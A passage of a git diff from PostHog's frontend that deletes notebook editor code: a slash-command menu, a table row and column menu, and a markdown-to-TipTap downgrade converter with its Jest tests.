categories.flatMap((category) =>- category.items.filter((item) => !item.featureFlag || featureFlags[item.featureFlag])- )-}--export const SlashCommands = forwardRef<SlashCommandsRef, SlashCommandsProps>(function SlashCommands(- { mode, range, getPos, onClose, query }: SlashCommandsProps,- ref-): JSX.Element | null {- const { editor } = useValues(notebookLogic)- const { featureFlags } = useValues(featureFlagLogic)- // We start with 1 because the first item is the text controls- const [selectedIndex, setSelectedIndex] = useState(0)- const [selectedHorizontalIndex, setSelectedHorizontalIndex] = useState(0)-- const allFlatCommands = useMemo(() => flattenCommands(SLASH_COMMAND_CATEGORIES, featureFlags), [featureFlags])- const allCommmands = [...TEXT_CONTROLS, ...allFlatCommands]-- const fuse = useMemo(() => {- return createFuse(allCommmands, {- keys: ['title', 'search'],- })- // oxlint-disable-next-line exhaustive-deps- }, [allCommmands])-- const isSearching = !!query-- const filteredCommands = useMemo(() => {- if (!query) {- return allCommmands- }- return fuse.search(query).map((result) => result.item)- // oxlint-disable-next-line exhaustive-deps- }, [query, fuse])-- const filteredSlashCommands = useMemo(- () => filteredCommands.filter((item) => allFlatCommands.includes(item)),- [filteredCommands, allFlatCommands]- )-- useEffect(() => {- setSelectedIndex(0)- setSelectedHorizontalIndex(0)- }, [query])-- const execute = useCallback(- async (item: SlashCommandsItem): Promise<void> => {- if (editor) {- const selectedNode = editor.getSelectedNode()- const isTextNode = selectedNode === null || selectedNode.isText- const isTextCommand = TEXT_CONTROLS.map((c) => c.title).includes(item.title)-- const position = mode === 'slash' ? range.from : getPos()- let chain = mode === 'slash' ? editor.deleteRange(range) : editor.chain()-- if (!isTextNode && isTextCommand) {- chain = chain.insertContentAt(position, { type: 'paragraph' })- }-- const partialCommand = await item.command(chain, position)- partialCommand.run()-- onClose?.()- }- },- // oxlint-disable-next-line exhaustive-deps- [editor, mode, range, getPos, onClose]- )-- const onPressEnter = async (): Promise<void> => {- const command =- selectedIndex === -1 ? TEXT_CONTROLS[selectedHorizontalIndex] : filteredSlashCommands[selectedIndex]-- await execute(command)- }- const onPressUp = (): void => {- setSelectedIndex(Math.max(selectedIndex - 1, -1))- }- const onPressDown = (): void => {- setSelectedIndex(Math.min(selectedIndex + 1, allFlatCommands.length - 1))- }-- const onPressLeft = (): void => {- setSelectedHorizontalIndex(Math.max(selectedHorizontalIndex - 1, 0))- }- const onPressRight = (): void => {- setSelectedHorizontalIndex(Math.min(selectedHorizontalIndex + 1, TEXT_CONTROLS.length - 1))- }-- const onKeyDown = useCallback(- (event: KeyboardEvent): boolean => {- if (isSearching) {- // When searching, keep the flat list keyboard navigation- const keyMappings = {- ArrowUp: onPressUp,- ArrowDown: onPressDown,- ArrowLeft: onPressLeft,- ArrowRight: onPressRight,- Enter: onPressEnter,- }-- if (isKeyOf(event.key, keyMappings)) {- keyMappings[event.key]()- return true- }- }-- return false- },- // oxlint-disable-next-line exhaustive-deps- [selectedIndex, selectedHorizontalIndex, filteredCommands, isSearching]- )-- // Expose the keydown handler to the tiptap extension- useImperativeHandle(ref, () => ({ onKeyDown }), [onKeyDown])-- useEffect(() => {- if (mode !== 'add') {- return- }-- // If not opened from a slash command, we want to add our own keyboard listeners- const keyDownListener = (event: KeyboardEvent): void => {- const preventDefault = onKeyDown(event)- if (preventDefault) {- event.preventDefault()- }- }-- window.addEventListener('keydown', keyDownListener, true)-- return () => window.removeEventListener('keydown', keyDownListener, true)- }, [onKeyDown, mode])-- /** Build categorized menu data for the non-search view. */- const categorizedMenuData = useMemo(- () =>- SLASH_COMMAND_CATEGORIES.flatMap((category) => {- const availableItems = category.items.filter(- (item) => !item.featureFlag || featureFlags[item.featureFlag]- )- if (availableItems.length === 0) {- return []- }- return [- {- title: category.title,- icon: category.icon,- menuItems: availableItems.map(- (item): LemonMenuItem => ({- label: item.title,- icon: item.icon,- onClick: () => void execute(item),- })- ),- },- ]- }),- [featureFlags, execute]- )-- if (!editor) {- return null- }-- return (- <div className="deprecated-space-y-px">- <div className="flex items-center gap-1">- {TEXT_CONTROLS.map((item, index) => (- <LemonButton- key={item.title}- size="small"- active={selectedIndex === -1 && selectedHorizontalIndex === index}- onClick={() => void execute(item)}- icon={item.icon}- />- ))}- </div>-- <LemonDivider />-- {isSearching ? (- // When searching, show a flat filtered list so all items are discoverable- <>- {filteredSlashCommands.map((item, index) => (- <LemonButton- key={item.title}- fullWidth- icon={item.icon}- active={index === selectedIndex}- onClick={() => void execute(item)}- >- {item.title}- </LemonButton>- ))}-- {filteredSlashCommands.length === 0 && (- <div className="text-secondary p-1">- Nothing matching <code>/{query}</code>- </div>- )}- </>- ) : (- // When not searching, show categorized nested menus- <div className="deprecated-space-y-px">- {categorizedMenuData.map((category) => (- <LemonMenu- key={category.title}- items={category.menuItems}- placement="right-start"- trigger="hover"- closeParentPopoverOnClickInside- >- <LemonButton fullWidth icon={category.icon} size="small">- {category.title}- </LemonButton>- </LemonMenu>- ))}- </div>- )}-- {mode === 'add' && (- <>- <LemonDivider className="my-0" />- <div className="text-xs text-secondary p-1">- You can trigger this menu by typing <KeyboardShortcut forwardslash />- </div>- </>- )}- </div>- )-})--export const SlashCommandsPopover = forwardRef<SlashCommandsRef, SlashCommandsPopoverProps>(- function SlashCommandsPopover(- { visible = true, decorationNode, children, onClose, ...props }: SlashCommandsPopoverProps,- ref- ): JSX.Element | null {- return (- <Popover- placement="right-start"- fallbackPlacements={['left-start', 'right-end']}- overlay={<SlashCommands ref={ref} onClose={onClose} {...props} />}- referenceElement={decorationNode}- visible={visible}- onClickOutside={onClose}- >- {children}- </Popover>- )- }-)--export const SlashCommandsExtension = Extension.create({- name: 'slash-commands',-- // Higher than NotebookDefaultBlockOnEnter (200) so slash popover handles Enter first- priority: 300,-- addProseMirrorPlugins() {- return [- Suggestion({- editor: this.editor,- char: '/',- startOfLine: true,- render: () => {- let renderer: ReactRenderer<SlashCommandsRef>-- return {- onStart: (props) => {- renderer = new ReactRenderer(SlashCommandsPopover, {- props: { ...props, mode: 'slash' },- editor: props.editor,- })- },-- onUpdate(props) {- renderer.updateProps(props)-- if (!props.clientRect) {- return- }- },-- onKeyDown(props) {- if (props.event.key === 'Escape') {- renderer.destroy()- return true- }- return renderer.ref?.onKeyDown(props.event) ?? false- },-- onExit() {- renderer.destroy()- },- }- },- }),- ]- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/TableMenu.tsx b/frontend/src/scenes/notebooks/Notebook/TableMenu.tsxdeleted file mode 100644index 4cfc039bcf59..000000000000--- a/frontend/src/scenes/notebooks/Notebook/TableMenu.tsx+++ /dev/null@@ -1,313 +0,0 @@-import { useValues } from 'kea'-import { useCallback, useEffect, useLayoutEffect, useRef, useState } from 'react'--import { IconArrowLeft, IconArrowRight, IconDrag, IconTrash } from '@posthog/icons'-import { LemonButton, LemonDivider } from '@posthog/lemon-ui'--import { richContentEditorLogic } from 'lib/components/RichContentEditor/richContentEditorLogic'-import { Popover } from 'lib/lemon-ui/Popover'--const GRIP_OFFSET = 6-const GRIP_SIZE = 20--type GripMode = 'row' | 'col'--type HoveredCell = {- rowIndex: number- colIndex: number- row: HTMLTableRowElement- cell: HTMLTableCellElement- table: HTMLTableElement-}--type MenuAction = {- label: string- icon: JSX.Element- onClick: () => void- status?: 'danger'-}--function GripHandle({- mode,- hoveredCell,- isMenuOpen,- actions,- onCloseMenu,- onClick,-}: {- mode: GripMode- hoveredCell: HoveredCell- isMenuOpen: boolean- actions: MenuAction[]- onCloseMenu: () => void- onClick: () => void-}): JSX.Element {- const wrapperRef = useRef<HTMLDivElement>(null)-- useLayoutEffect(() => {- const wrapper = wrapperRef.current- if (!wrapper) {- return- }- const tableRect = hoveredCell.table.getBoundingClientRect()- switch (mode) {- case 'row': {- const rowRect = hoveredCell.row.getBoundingClientRect()- wrapper.style.top = `${rowRect.top}px`- wrapper.style.left = `${tableRect.left - GRIP_SIZE - GRIP_OFFSET}px`- wrapper.style.width = `${GRIP_SIZE + GRIP_OFFSET}px`- wrapper.style.height = `${rowRect.height}px`- break- }- case 'col': {- const cellRect = hoveredCell.cell.getBoundingClientRect()- wrapper.style.top = `${tableRect.top - GRIP_SIZE - GRIP_OFFSET}px`- wrapper.style.left = `${cellRect.left}px`- wrapper.style.width = `${cellRect.width}px`- wrapper.style.height = `${GRIP_SIZE + GRIP_OFFSET}px`- break- }- }- }, [hoveredCell, mode])-- return (- // Wrapper extends from the icon to the table edge, bridging the hover gap- <div ref={wrapperRef} className="fixed flex items-center justify-center z-0" data-table-grip>- <Popover- visible={isMenuOpen}- onClickOutside={onCloseMenu}- placement={mode === 'row' ? 'right-start' : 'bottom-start'}- className={mode === 'col' ? 'mt-1' : 'ml-1'}- overlay={- <div className="flex flex-col p-1 min-w-40">- {actions.map((action, i) => (- <div key={action.label}>- {i > 0 && action.status === 'danger' && actions[i - 1]?.status !== 'danger' && (- <LemonDivider className="my-1" />- )}- <LemonButton- onClick={action.onClick}- icon={action.icon}- status={action.status}- size="small"- fullWidth- >- {action.label}- </LemonButton>- </div>- ))}- </div>- }- >- <LemonButton- size="xsmall"- noPadding- icon={<IconDrag className={`text-tertiary text-lg${mode === 'col' ? ' rotate-90' : ''}`} />}- onMouseDown={(e) => e.preventDefault()}- onClick={(e) => {- e.preventDefault()- e.stopPropagation()- onClick()- }}- />- </Popover>- </div>- )-}--export function TableMenu(): JSX.Element | null {- const { ttEditor } = useValues(richContentEditorLogic)- const [hoveredCell, setHoveredCell] = useState<HoveredCell | null>(null)- const [activeMenu, setActiveMenu] = useState<GripMode | null>(null)-- useEffect(() => {- if (!ttEditor) {- return- }-- const handleMouseMove = (e: MouseEvent): void => {- // When a menu is open, freeze the grip position- if (activeMenu) {- return- }-- // view.dom hits the v3 throwing Proxy.- if (ttEditor.isDestroyed) {- return- }-- const target = e.target as HTMLElement-- // If mouse is over a grip wrapper, keep current state- if (target.closest('[data-table-grip]')) {- return- }-- // Check if mouse is over a table cell- const cell = target.closest('td, th') as HTMLTableCellElement | null- const table = cell?.closest('table') as HTMLTableElement | null- const editorEl = ttEditor.view.dom-- if (!cell || !table || !editorEl.contains(cell) || cell.closest('.NotebookNode')) {- setHoveredCell(null)- return- }-- // Get row/col indices from the DOM structure- const row = cell.closest('tr')!- const rows = Array.from(table.querySelectorAll(':scope > thead > tr, :scope > tbody > tr, :scope > tr'))- const rowIndex = rows.indexOf(row)- const colIndex = Array.from(row.children).indexOf(cell)- if (rowIndex < 0 || colIndex < 0) {- return- }- setHoveredCell({ rowIndex, colIndex, row, cell, table })- }-- document.addEventListener('mousemove', handleMouseMove)- return () => {- document.removeEventListener('mousemove', handleMouseMove)- }- }, [ttEditor, activeMenu])-- /** Returns a 2D array [row][col] of ProseMirror cell positions for the hovered table */- const getTableCellPositions = useCallback((): number[][] => {- if (!ttEditor || !hoveredCell || ttEditor.isDestroyed) {- return []- }- const tablePos = ttEditor.view.posAtDOM(hoveredCell.table, 0) - 1- const tableNode = ttEditor.state.doc.nodeAt(tablePos)- if (!tableNode || tableNode.type.name !== 'table') {- return []- }- const positions: number[][] = []- tableNode.forEach((rowNode, rowOffset) => {- const rowPos = tablePos + 1 + rowOffset- const rowCells: number[] = []- rowNode.forEach((_cellNode, cellOffset) => {- rowCells.push(rowPos + 1 + cellOffset)- })- positions.push(rowCells)- })- return positions- }, [ttEditor, hoveredCell])-- const runCommand = useCallback(- (command: string): void => {- if (!ttEditor || !hoveredCell) {- return- }- // Focus the hovered cell so the command operates on the right row/col- const cellPos = getTableCellPositions()[hoveredCell.rowIndex]?.[hoveredCell.colIndex]- if (cellPos === undefined) {- return- }- ttEditor.commands.focus()- ttEditor.commands.setTextSelection(cellPos + 1) // +1 to get inside cell content- ;(ttEditor.chain().focus() as any)[command]().run()- setActiveMenu(null)- setHoveredCell(null)- },- [ttEditor, hoveredCell, getTableCellPositions]- )-- const selectCells = useCallback(- (mode: GripMode): void => {- if (!ttEditor || !hoveredCell) {- return- }- const positions = getTableCellPositions()- if (mode === 'row') {- const row = positions[hoveredCell.rowIndex]- if (row && row.length >= 1) {- ttEditor- .chain()- .focus()- .setCellSelection({ anchorCell: row[0], headCell: row[row.length - 1] })- .run()- }- } else {- const col = hoveredCell.colIndex- if (positions.length >= 1 && positions[0][col] !== undefined) {- ttEditor- .chain()- .focus()- .setCellSelection({- anchorCell: positions[0][col],- headCell: positions[positions.length - 1][col],- })- .run()- }- }- },- [ttEditor, hoveredCell, getTableCellPositions]- )-- if (!ttEditor) {- return null- }-- const showRow = hoveredCell && (!activeMenu || activeMenu === 'row')- const showCol = hoveredCell && (!activeMenu || activeMenu === 'col')-- return (- <>- {showRow && (- <GripHandle- mode="row"- hoveredCell={hoveredCell}- isMenuOpen={activeMenu === 'row'}- actions={[- {- label: 'Insert above',- icon: <IconArrowRight className="-rotate-90" />,- onClick: () => runCommand('addRowBefore'),- },- {- label: 'Insert below',- icon: <IconArrowRight className="rotate-90" />,- onClick: () => runCommand('addRowAfter'),- },- {- label: 'Delete row',- icon: <IconTrash />,- onClick: () => runCommand('deleteRow'),- status: 'danger',- },- ]}- onCloseMenu={() => setActiveMenu(null)}- onClick={() => {- selectCells('row')- setActiveMenu((prev) => (prev === 'row' ? null : 'row'))- }}- />- )}- {showCol && (- <GripHandle- mode="col"- hoveredCell={hoveredCell}- isMenuOpen={activeMenu === 'col'}- actions={[- { label: 'Insert left', icon: <IconArrowLeft />, onClick: () => runCommand('addColumnBefore') },- {- label: 'Insert right',- icon: <IconArrowRight />,- onClick: () => runCommand('addColumnAfter'),- },- {- label: 'Delete column',- icon: <IconTrash />,- onClick: () => runCommand('deleteColumn'),- status: 'danger',- },- ]}- onCloseMenu={() => setActiveMenu(null)}- onClick={() => {- selectCells('col')- setActiveMenu((prev) => (prev === 'col' ? null : 'col'))- }}- />- )}- </>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.test.ts b/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.test.tsdeleted file mode 100644index 8e1b78d07c5c..000000000000--- a/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.test.ts+++ /dev/null@@ -1,450 +0,0 @@-import { parseMarkdownNotebook, serializeMarkdownNotebook } from 'lib/components/MarkdownNotebook/markdown'-import { JSONContent } from 'lib/components/RichContentEditor/types'--import { NotebookNodeType } from '../types'-import { convertMarkdownToNotebookContent } from './markdownNotebookDowngrade'-import { convertNotebookContentToMarkdown } from './markdownNotebookV2'--describe('markdownNotebookDowngrade', () => {- it('returns an empty doc for empty markdown', () => {- expect(convertMarkdownToNotebookContent('')).toEqual({ type: 'doc', content: [] })- })-- it('converts paragraphs with hard breaks', () => {- expect(convertMarkdownToNotebookContent('First line\nSecond line')).toEqual({- type: 'doc',- content: [- {- type: 'paragraph',- content: [- { type: 'text', text: 'First line' },- { type: 'hardBreak' },- { type: 'text', text: 'Second line' },- ],- },- ],- })- })-- it.each([[1], [2], [3], [4], [5], [6]])('converts level %i headings', (level) => {- expect(convertMarkdownToNotebookContent(`${'#'.repeat(level)} Title`)).toEqual({- type: 'doc',- content: [{ type: 'heading', attrs: { level }, content: [{ type: 'text', text: 'Title' }] }],- })- })-- it('converts blockquotes to a blockquote with a paragraph child', () => {- expect(convertMarkdownToNotebookContent('> Quoted text')).toEqual({- type: 'doc',- content: [- {- type: 'blockquote',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'Quoted text' }] }],- },- ],- })- })-- it('wraps quoted headings in a blockquote', () => {- expect(convertMarkdownToNotebookContent('> ## Quoted heading')).toEqual({- type: 'doc',- content: [- {- type: 'blockquote',- content: [- { type: 'heading', attrs: { level: 2 }, content: [{ type: 'text', text: 'Quoted heading' }] },- ],- },- ],- })- })-- it.each<[string, string, JSONContentMarks]>([- ['**bold**', 'bold', [{ type: 'bold' }]],- ['*italic*', 'italic', [{ type: 'italic' }]],- ['<u>underline</u>', 'underline', [{ type: 'underline' }]],- ['~~strike~~', 'strike', [{ type: 'strike' }]],- ['`code`', 'code', [{ type: 'code' }]],- ['[label](https://posthog.com)', 'label', [{ type: 'link', attrs: { href: 'https://posthog.com' } }]],- ['<ref id="thread-1">anchored</ref>', 'anchored', [{ type: 'comment', attrs: { id: 'thread-1' } }]],- ])('converts inline %s to a marked text node', (markdown, text, marks) => {- expect(convertMarkdownToNotebookContent(markdown)).toEqual({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: 'text', text, marks }] }],- })- })-- it('converts mention marks to atomic v1 mention nodes, replacing the label', () => {- expect(convertMarkdownToNotebookContent('Ping <mention id="5">@Marius</mention> please')).toEqual({- type: 'doc',- content: [- {- type: 'paragraph',- content: [- { type: 'text', text: 'Ping ' },- { type: NotebookNodeType.Mention, attrs: { id: 5 } },- { type: 'text', text: ' please' },- ],- },- ],- })- })-- it('keeps the label as plain text when a mention id is not numeric', () => {- expect(convertMarkdownToNotebookContent('<mention id="abc">@Someone</mention>')).toEqual({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: 'text', text: '@Someone' }] }],- })- })-- it('collapses a partially formatted mention label into a single mention node', () => {- expect(convertMarkdownToNotebookContent('<mention id="7">@**M**ember</mention>')).toEqual({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: NotebookNodeType.Mention, attrs: { id: 7 } }] }],- })- })-- it('reconstructs nested bullet lists from item depth', () => {- expect(convertMarkdownToNotebookContent('- One\n- Two\n - Nested\n- Three')).toEqual({- type: 'doc',- content: [- {- type: 'bulletList',- content: [- listItem('One'),- {- type: 'listItem',- content: [- { type: 'paragraph', content: [{ type: 'text', text: 'Two' }] },- { type: 'bulletList', content: [listItem('Nested')] },- ],- },- listItem('Three'),- ],- },- ],- })- })-- it('converts ordered lists and keeps a non-default start', () => {- expect(convertMarkdownToNotebookContent('3. Third\n4. Fourth')).toEqual({- type: 'doc',- content: [{ type: 'orderedList', attrs: { start: 3 }, content: [listItem('Third'), listItem('Fourth')] }],- })- })-- it('nests an ordered sub-list inside a bullet list item', () => {- expect(convertMarkdownToNotebookContent('- Parent\n 1. Child')).toEqual({- type: 'doc',- content: [- {- type: 'bulletList',- content: [- {- type: 'listItem',- content: [- { type: 'paragraph', content: [{ type: 'text', text: 'Parent' }] },- { type: 'orderedList', content: [listItem('Child')] },- ],- },- ],- },- ],- })- })-- it('converts task lists to taskList with checked taskItems, nesting by depth', () => {- expect(convertMarkdownToNotebookContent('- [x] Done\n- [ ] Open\n - [ ] Nested open')).toEqual({- type: 'doc',- content: [- {- type: 'taskList',- content: [- {- type: 'taskItem',- attrs: { checked: true },- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'Done' }] }],- },- {- type: 'taskItem',- attrs: { checked: false },- content: [- { type: 'paragraph', content: [{ type: 'text', text: 'Open' }] },- {- type: 'taskList',- content: [- {- type: 'taskItem',- attrs: { checked: false },- content: [- {- type: 'paragraph',- content: [{ type: 'text', text: 'Nested open' }],- },- ],- },- ],- },- ],- },- ],- },- ],- })- })-- it('splits a plain item after a task run into a sibling bulletList', () => {- expect(convertMarkdownToNotebookContent('- [x] Task\n- Plain')).toEqual({- type: 'doc',- content: [- {- type: 'taskList',- content: [- {- type: 'taskItem',- attrs: { checked: true },- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'Task' }] }],- },- ],- },- { type: 'bulletList', content: [listItem('Plain')] },- ],- })- })-- it('keeps the checked state of a task item that follows a plain item by splitting into a sibling taskList', () => {- expect(convertMarkdownToNotebookContent('- plain\n- [x] done')).toEqual({- type: 'doc',- content: [- { type: 'bulletList', content: [listItem('plain')] },- {- type: 'taskList',- content: [- {- type: 'taskItem',- attrs: { checked: true },- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'done' }] }],- },- ],- },- ],- })- })-- it('splits a nested task run inside a plain list into a nested taskList without losing checked state', () => {- expect(convertMarkdownToNotebookContent('- Parent\n - [ ] Child task\n - Plain child')).toEqual({- type: 'doc',- content: [- {- type: 'bulletList',- content: [- {- type: 'listItem',- content: [- { type: 'paragraph', content: [{ type: 'text', text: 'Parent' }] },- {- type: 'taskList',- content: [- {- type: 'taskItem',- attrs: { checked: false },- content: [- {- type: 'paragraph',- content: [{ type: 'text', text: 'Child task' }],- },- ],- },- ],- },- { type: 'bulletList', content: [listItem('Plain child')] },- ],- },- ],- },- ],- })- })-- it('wraps blockquoted lists in a blockquote', () => {- expect(convertMarkdownToNotebookContent('> - One\n> - Two')).toEqual({- type: 'doc',- content: [- { type: 'blockquote', content: [{ type: 'bulletList', content: [listItem('One'), listItem('Two')] }] },- ],- })- })-- it('converts code blocks to codeBlock with a single text child', () => {- expect(convertMarkdownToNotebookContent('```python\nprint("hi")\nprint("bye")\n```')).toEqual({- type: 'doc',- content: [- {- type: 'codeBlock',- attrs: { language: 'python' },- content: [{ type: 'text', text: 'print("hi")\nprint("bye")' }],- },- ],- })- })-- it('converts empty code blocks without a language', () => {- expect(convertMarkdownToNotebookContent('```\n```')).toEqual({- type: 'doc',- content: [{ type: 'codeBlock', attrs: { language: null } }],- })- })-- it('converts tables to TipTap table structure with paragraph-wrapped cells', () => {- expect(convertMarkdownToNotebookContent('| Name | Value |\n| --- | --- |\n| Users | **42** |')).toEqual({- type: 'doc',- content: [- {- type: 'table',- content: [- {- type: 'tableRow',- content: [tableCell('tableHeader', 'Name'), tableCell('tableHeader', 'Value')],- },- {- type: 'tableRow',- content: [- tableCell('tableCell', 'Users'),- {- type: 'tableCell',- content: [- {- type: 'paragraph',- content: [{ type: 'text', text: '42', marks: [{ type: 'bold' }] }],- },- ],- },- ],- },- ],- },- ],- })- })-- it('converts dividers to horizontalRule', () => {- expect(convertMarkdownToNotebookContent('---')).toEqual({- type: 'doc',- content: [{ type: 'horizontalRule' }],- })- })-- it('converts images to the v1 image node', () => {- expect(convertMarkdownToNotebookContent('')).toEqual({- type: 'doc',- content: [{ type: NotebookNodeType.Image, attrs: { src: 'https://example.com/hog.png', alt: 'PostHog' } }],- })- })-- it('converts component tags to their v1 node type with props as attrs', () => {- expect(convertMarkdownToNotebookContent('<Query query={{"kind":"DataTableNode"}} />')).toEqual({- type: 'doc',- content: [{ type: NotebookNodeType.Query, attrs: { query: { kind: 'DataTableNode' }, edit: true } }],- })- })-- it.each<[string, NotebookNodeType]>([- ['<Recording id="abc" />', NotebookNodeType.Recording],- ['<FeatureFlag id={42} />', NotebookNodeType.FeatureFlag],- ['<Survey id="s1" />', NotebookNodeType.Survey],- ['<Embed src="https://example.com" />', NotebookNodeType.Embed],- ])('converts %s to its v1 node type', (markdown, nodeType) => {- expect(convertMarkdownToNotebookContent(markdown).content?.[0]?.type).toEqual(nodeType)- })-- it('converts authorial comments to plain paragraphs', () => {- expect(convertMarkdownToNotebookContent('<!-- A note to self -->')).toEqual({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: 'text', text: 'A note to self' }] }],- })- })-- it('drops discussion comment threads but keeps the ref anchor as a comment mark', () => {- expect(- convertMarkdownToNotebookContent(- '<ref id="t1">anchored</ref>\n\n<Comment ref="t1" replies={[{"text":"hi"}]} />'- )- ).toEqual({- type: 'doc',- content: [- {- type: 'paragraph',- content: [{ type: 'text', text: 'anchored', marks: [{ type: 'comment', attrs: { id: 't1' } }] }],- },- ],- })- })-- it('drops Prompt blocks', () => {- const markdown = '<Prompt text="hello" />'-- expect(convertMarkdownToNotebookContent(markdown)).toEqual({ type: 'doc', content: [] })- })-- it('re-emits UnknownNode wrappers as their original node type', () => {- expect(convertMarkdownToNotebookContent('<UnknownNode nodeType="ph-custom" foo="bar" />')).toEqual({- type: 'doc',- content: [{ type: 'ph-custom', attrs: { foo: 'bar' } }],- })- })-- it('falls back to a paragraph with the serialized source for unmapped tags', () => {- expect(convertMarkdownToNotebookContent('<Mystery foo="bar" />')).toEqual({- type: 'doc',- content: [{ type: 'paragraph', content: [{ type: 'text', text: '<Mystery foo="bar" />' }] }],- })- })-- it('round-trips a representative lossless document through v1 and back', () => {- const markdown = [- '# Roadmap',- 'A **bold**, *italic*, <u>underlined</u>, ~~struck~~, `coded`, [linked](https://posthog.com) line.',- 'Multi\nline paragraph',- '<Comment ref="thread-1" replies={[]} />',- '<ref id="thread-1">Highlighted decision</ref> needs review.',- 'Ping <mention id="5">@member</mention> about this.',- '> A wise quote',- '- First bullet\n- Second bullet\n - Nested bullet',- '1. Step one\n2. Step two',- '> - Quoted item one\n> - Quoted item two',- '| Metric | Value |\n| --- | --- |\n| Users | **42** |',- '```python\nprint("hello")\n```',- '---',- '<Query query={{"kind":"DataTableNode"}} />',- '<UnknownNode nodeType="ph-custom" foo="bar" />',- '',- ].join('\n\n')-- const roundTrippedMarkdown = convertNotebookContentToMarkdown(convertMarkdownToNotebookContent(markdown))-- expect(serializeMarkdownNotebook(parseMarkdownNotebook(roundTrippedMarkdown))).toEqual(- serializeMarkdownNotebook(parseMarkdownNotebook(markdown))- )- })-- it('keeps discussion anchors but loses thread replies on round-trip', () => {- const markdown = [- '<ref id="t1">anchored</ref>',- '<Comment ref="t1" replies={[{"author":"Ann","text":"hi"}]} />',- ].join('\n\n')-- expect(convertNotebookContentToMarkdown(convertMarkdownToNotebookContent(markdown))).toEqual(- '<Comment ref="t1" replies={[]} />\n\n<ref id="t1">anchored</ref>'- )- })-})--type JSONContentMarks = NonNullable<JSONContent['marks']>--function listItem(text: string): JSONContent {- return { type: 'listItem', content: [{ type: 'paragraph', content: [{ type: 'text', text }] }] }-}--function tableCell(type: 'tableHeader' | 'tableCell', text: string): JSONContent {- return { type, content: [{ type: 'paragraph', content: [{ type: 'text', text }] }] }-}diff --git a/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.ts b/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.tsdeleted file mode 100644index f78423fa44c9..000000000000--- a/frontend/src/scenes/notebooks/Notebook/markdownNotebookDowngrade.ts+++ /dev/null@@ -1,321 +0,0 @@-/**- * Downgrades a markdown (v2) notebook to TipTap JSONContent (v1) — the inverse of- * `convertNotebookContentToMarkdown`.- *- * Known one-way losses (v1 has nowhere to store these):- * - Discussion `<Comment ref="…" replies={…} />` threads: the inline `<ref>` highlight survives as- * a v1 `comment` mark (so the anchor is preserved), but the thread node and its replies are- * dropped — v1 keeps discussion threads outside the document content.- * - `<Prompt />` blocks are dropped — v1 has no equivalent node.- * - Authorial `<!-- … -->` comments become plain paragraphs: the note text stays visible, but its- * comment framing is lost.- * - Table column alignments are dropped — v1 tables do not store alignment.- * - Code block comment anchors (`ref=` tokens in the fence info string) are dropped — v1 code- * blocks carry no inline marks to anchor to.- */-import {- COMMENT_COMPONENT_TAG,- DIVIDER_COMPONENT_TAG,- isDiscussionCommentProps,- parseMarkdownNotebook,- serializeNode,-} from 'lib/components/MarkdownNotebook/markdown'-import {- NotebookBlockNode,- NotebookCodeBlockNode,- NotebookComponentBlockNode,- NotebookInlineMark,- NotebookInlineNode,- NotebookListBlockNode,- NotebookTableBlockNode,- NotebookTableCell,-} from 'lib/components/MarkdownNotebook/types'-import { JSONContent } from 'lib/components/RichContentEditor/types'--import { NotebookNodeType } from '../types'-import { NOTEBOOK_NODE_TYPE_TO_MARKDOWN_TAG } from './markdownNotebookV2'--type JSONContentMark = NonNullable<JSONContent['marks']>[number]--const MARKDOWN_TAG_TO_NOTEBOOK_NODE_TYPE: Partial<Record<string, NotebookNodeType>> = Object.entries(- NOTEBOOK_NODE_TYPE_TO_MARKDOWN_TAG-).reduce<Partial<Record<string, NotebookNodeType>>>((mapping, [nodeType, tagName]) => {- if (tagName) {- mapping[tagName] = nodeType as NotebookNodeType- }- return mapping-}, {})--// No v1 equivalent — dropped on downgrade (see module docstring).-const DROPPED_COMPONENT_TAGS = new Set(['Prompt'])--export function convertMarkdownToNotebookContent(markdown: string): JSONContent {- const document = parseMarkdownNotebook(markdown)- const content = document.nodes.flatMap((node) => {- const converted = convertBlockNode(node)- return converted ? [converted].flat() : []- })-- return { type: 'doc', content }-}--function convertBlockNode(node: NotebookBlockNode): JSONContent | JSONContent[] | null {- if (node.type === 'paragraph') {- return makeParagraph(convertInlineNodes(node.children))- }- if (node.type === 'heading') {- const content = convertInlineNodes(node.children)- const heading: JSONContent = {- type: 'heading',- attrs: { level: node.level ?? 1 },- ...(content.length ? { content } : {}),- }- return node.blockquote ? { type: 'blockquote', content: [heading] } : heading- }- if (node.type === 'blockquote') {- return { type: 'blockquote', content: [makeParagraph(convertInlineNodes(node.children))] }- }- if (node.type === 'list') {- const lists = convertListNode(node)- return node.blockquote ? { type: 'blockquote', content: lists } : lists- }- if (node.type === 'table') {- return convertTableNode(node)- }- if (node.type === 'code') {- return convertCodeNode(node)- }- if (node.type === 'component') {- return convertComponentNode(node)- }- return makeParagraph(convertInlineNodes(node.children))-}--function convertComponentNode(node: NotebookComponentBlockNode): JSONContent | null {- if (node.tagName === DIVIDER_COMPONENT_TAG) {- return { type: 'horizontalRule' }- }- if (node.tagName === COMMENT_COMPONENT_TAG) {- if (isDiscussionCommentProps(node.props)) {- // Discussion thread: the inline `<ref>` highlight already became a `comment` mark on- // the text it anchors to; the thread itself cannot be represented in v1 content, so it- // is dropped (see module docstring).- return null- }- // Authorial note: surfaced as a plain paragraph so the text stays visible in v1, even- // though its comment framing is lost.- const text = typeof node.props.text === 'string' ? node.props.text : ''- return text ? makeParagraph(makeTextWithHardBreaks(text)) : null- }- if (DROPPED_COMPONENT_TAGS.has(node.tagName)) {- return null- }- if (node.tagName === 'Image') {- return {- type: NotebookNodeType.Image,- attrs: {- src: typeof node.props.src === 'string' ? node.props.src : '',- alt: typeof node.props.alt === 'string' ? node.props.alt : '',- },- }- }- if (node.tagName === 'UnknownNode') {- // The upgrade path wraps unmapped v1 nodes as `<UnknownNode nodeType="…" … />` — re-emit- // the original node so the downgrade restores it 